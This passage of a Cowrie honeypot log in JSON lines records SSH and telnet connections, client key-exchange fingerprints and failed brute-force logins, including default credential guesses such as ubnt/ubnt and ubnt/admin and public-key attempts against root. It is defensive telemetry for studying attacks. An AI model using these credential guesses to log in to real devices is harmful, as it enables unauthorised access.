bc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:08.425650Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:09.024903Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:10.160225Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:11.304282Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:12.439871Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:13.575510Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:10:14.710445Z","src_ip":"193.46.255.86","session":"4851b12dd41c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":56866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0324776dde7","protocol":"ssh","message":"New connection: 45.78.230.231:56866 (10.17.0.5:22) [session: d0324776dde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:11:21.620034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:11:25.592959Z","src_ip":"45.78.230.231","session":"d0324776dde7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:11:25.598171Z","src_ip":"45.78.230.231","session":"d0324776dde7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:11:25.611954Z","src_ip":"45.78.230.231","session":"d0324776dde7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.91.179.78","src_port":53181,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ae928a9526","protocol":"telnet","message":"New connection: 197.91.179.78:53181 (10.17.0.5:23) [session: 28ae928a9526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:11:51.075744Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57928,"dst_ip":"159.203.135.109","dst_port":22,"session":"21bd2b08e76e","protocol":"ssh","message":"New connection: 2.57.122.208:57928 (159.203.135.109:22) [session: 21bd2b08e76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:12:51.629901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:12:51.681832Z","src_ip":"2.57.122.208","session":"21bd2b08e76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:12:51.756248Z","src_ip":"2.57.122.208","session":"21bd2b08e76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:12:52.504855Z","src_ip":"2.57.122.208","session":"21bd2b08e76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:12:54.078617Z","src_ip":"2.57.122.208","session":"21bd2b08e76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":40552,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbca13642150","protocol":"ssh","message":"New connection: 45.78.230.231:40552 (10.17.0.5:22) [session: bbca13642150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:01.258827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:01.265230Z","src_ip":"45.78.230.231","session":"bbca13642150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:01.503601Z","src_ip":"45.78.230.231","session":"bbca13642150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56564,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c4b10af74e","protocol":"ssh","message":"New connection: 194.59.206.2:56564 (10.17.0.5:22) [session: 06c4b10af74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:22.823086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:22.828527Z","src_ip":"194.59.206.2","session":"06c4b10af74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:22.915209Z","src_ip":"194.59.206.2","session":"06c4b10af74e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:23.007665Z","src_ip":"194.59.206.2","session":"06c4b10af74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.19.183.114","src_port":14653,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb1ef84b246","protocol":"telnet","message":"New connection: 113.19.183.114:14653 (10.17.0.5:23) [session: 2bb1ef84b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:25.067111Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":35132,"dst_ip":"10.17.0.5","dst_port":22,"session":"075e7387dcb4","protocol":"ssh","message":"New connection: 89.38.96.216:35132 (10.17.0.5:22) [session: 075e7387dcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:30.797242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:30.802495Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:30.891295Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:56:ba:ee:69:90:5d:2b:fa:92:fe:fd:28:06:5b:05","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII14EqJ+e2B6rqAz53zL7qn0nkX5Hsw4Z1tc1ScubF0P","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1d:56:ba:ee:69:90:5d:2b:fa:92:fe:fd:28:06:5b:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.313260Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:56:ba:ee:69:90:5d:2b:fa:92:fe:fd:28:06:5b:05","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII14EqJ+e2B6rqAz53zL7qn0nkX5Hsw4Z1tc1ScubF0P","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.317576Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:d2:18:e6:99:23:5d:01:82:b6:f3:28:72:17:b5:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAOpzMqhRLqvWYOa487YWDXb9pKbLsbJYeGKErIU37/yYN3fEsxCcIUHXLAEMZyl4e/FfgkfrBNeml9upMD8iyLPMqqQM/OYOPPyjTPoC/IiIg0dHSvc8Fi60RkYpzIevObTI0oWqKMEGxRzIqFvHfbxjwQi7PXD+vlopf9d0qS4QRLzj/JkjS2BOZYr6yhykLkjQ6U74n8lfSblTbsdQqDIW8P8is21LOm0fy5JoJH49in5nqGdRUE4oXR1SCSWYt6jrSb+9HjjSPAPnk93GdWkp1E7+QomY8O5Qxmdl51u3JApOkdHmmcRU6ZsGODNR6dnFtWuCLg/6W6ihkspv4t+YkxvHmaa4yB9GIj4/FFAjnHtEWvYBgXHE5qFrOKjVmUAORKMDINU5wwO5/Q8wUC582vQtv8UB6EIcbkduVtNnRBNuZAGNWprst92CcSGkNAqhHTs4CAaO5A9VnAc9rujL3wAwHBGqxE8RQhuDk0S2gc7VSpByF8a0Mb25F+JdgLEQqGNxmMst45n/pfqOyiex/JQm86VkQwWdwibBZkE0b442SFbfpcrfld672cdBsDAsbWGCJbjaEdY96B6mVHwwH0I4Z8xcbDcIoj2eO9ZV4nX5+L4AphomEVJ3YEsauyuWj/GozS6SLDrbKdO1Xbt4KyUaA564rpfuWkCV0Pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:d2:18:e6:99:23:5d:01:82:b6:f3:28:72:17:b5:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.410045Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:d2:18:e6:99:23:5d:01:82:b6:f3:28:72:17:b5:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAOpzMqhRLqvWYOa487YWDXb9pKbLsbJYeGKErIU37/yYN3fEsxCcIUHXLAEMZyl4e/FfgkfrBNeml9upMD8iyLPMqqQM/OYOPPyjTPoC/IiIg0dHSvc8Fi60RkYpzIevObTI0oWqKMEGxRzIqFvHfbxjwQi7PXD+vlopf9d0qS4QRLzj/JkjS2BOZYr6yhykLkjQ6U74n8lfSblTbsdQqDIW8P8is21LOm0fy5JoJH49in5nqGdRUE4oXR1SCSWYt6jrSb+9HjjSPAPnk93GdWkp1E7+QomY8O5Qxmdl51u3JApOkdHmmcRU6ZsGODNR6dnFtWuCLg/6W6ihkspv4t+YkxvHmaa4yB9GIj4/FFAjnHtEWvYBgXHE5qFrOKjVmUAORKMDINU5wwO5/Q8wUC582vQtv8UB6EIcbkduVtNnRBNuZAGNWprst92CcSGkNAqhHTs4CAaO5A9VnAc9rujL3wAwHBGqxE8RQhuDk0S2gc7VSpByF8a0Mb25F+JdgLEQqGNxmMst45n/pfqOyiex/JQm86VkQwWdwibBZkE0b442SFbfpcrfld672cdBsDAsbWGCJbjaEdY96B6mVHwwH0I4Z8xcbDcIoj2eO9ZV4nX5+L4AphomEVJ3YEsauyuWj/GozS6SLDrbKdO1Xbt4KyUaA564rpfuWkCV0Pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.413338Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:c4:5f:97:8e:e8:4f:1d:ad:43:9f:6c:24:a6:33:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk3fyLc5jFp4JB2pQ/Jz50rXV6jqznigJthOon8ZtMhkdkrCTiu4VKjV175SKuIHJymrf6SeawtZBlmBENebDV35qOYaS8jxEAYUMmkCwaTZfi6DYLnS2NQYlj+AqvvFH9HXc90BSCzMgvPHz5ihW+8IxllCqb300taGqcE8LPtnAG3nWCO6P9hq9w2ChS9YWOemR63UJxVVVMF5WLhCDpNnRFCr2tCr3i6d1AE0R2GEw8aKv2OrtzGzHxNGc7/OJCM6OM+/GdxyMDNG/RsEd9pR9sfx+cLNjHZHfx+JX3J9e48w57lSE8VaERPAyk3GX2miBDN6wYJSAGpuwuYbbhZWn3Lng2f9CU2ffDAtZXBY56ShZBNmEInm4mnr2JD/Gkw17yvogNo1noMV/xRyMK/ma5Jr2NPz2V0LblQlHbW/ZJpnvtpWSoIXwj6HiKIirzfez+yPNkOb7TV4AQCwll7AkyumeGjtd06RXhukJ139zSeFkw3/qs5k1aQ2XF40BjyNFPevBOo/Z8xTO80XB6w2ftRioXljLhfdsPjnFbGrNVfSlm2qu/6N77x+LO8RnIYWpGR3HjSo9lnSBYU2LZ9xFdqtbd10JW66+gLrv9e+Bm+u2OrHblwKXBHJ2/FkzhZ9Ik9oqDnpGJF9QPq8xHwUBg91tHTIslwhydINBXVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:c4:5f:97:8e:e8:4f:1d:ad:43:9f:6c:24:a6:33:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.502903Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:c4:5f:97:8e:e8:4f:1d:ad:43:9f:6c:24:a6:33:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk3fyLc5jFp4JB2pQ/Jz50rXV6jqznigJthOon8ZtMhkdkrCTiu4VKjV175SKuIHJymrf6SeawtZBlmBENebDV35qOYaS8jxEAYUMmkCwaTZfi6DYLnS2NQYlj+AqvvFH9HXc90BSCzMgvPHz5ihW+8IxllCqb300taGqcE8LPtnAG3nWCO6P9hq9w2ChS9YWOemR63UJxVVVMF5WLhCDpNnRFCr2tCr3i6d1AE0R2GEw8aKv2OrtzGzHxNGc7/OJCM6OM+/GdxyMDNG/RsEd9pR9sfx+cLNjHZHfx+JX3J9e48w57lSE8VaERPAyk3GX2miBDN6wYJSAGpuwuYbbhZWn3Lng2f9CU2ffDAtZXBY56ShZBNmEInm4mnr2JD/Gkw17yvogNo1noMV/xRyMK/ma5Jr2NPz2V0LblQlHbW/ZJpnvtpWSoIXwj6HiKIirzfez+yPNkOb7TV4AQCwll7AkyumeGjtd06RXhukJ139zSeFkw3/qs5k1aQ2XF40BjyNFPevBOo/Z8xTO80XB6w2ftRioXljLhfdsPjnFbGrNVfSlm2qu/6N77x+LO8RnIYWpGR3HjSo9lnSBYU2LZ9xFdqtbd10JW66+gLrv9e+Bm+u2OrHblwKXBHJ2/FkzhZ9Ik9oqDnpGJF9QPq8xHwUBg91tHTIslwhydINBXVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:13:31.507056Z","src_ip":"89.38.96.216","session":"075e7387dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:22:30:6f:22:06:54:d5:c2:eb:5b:c7:35:8a:bb:3f","key":"ssh-rsa 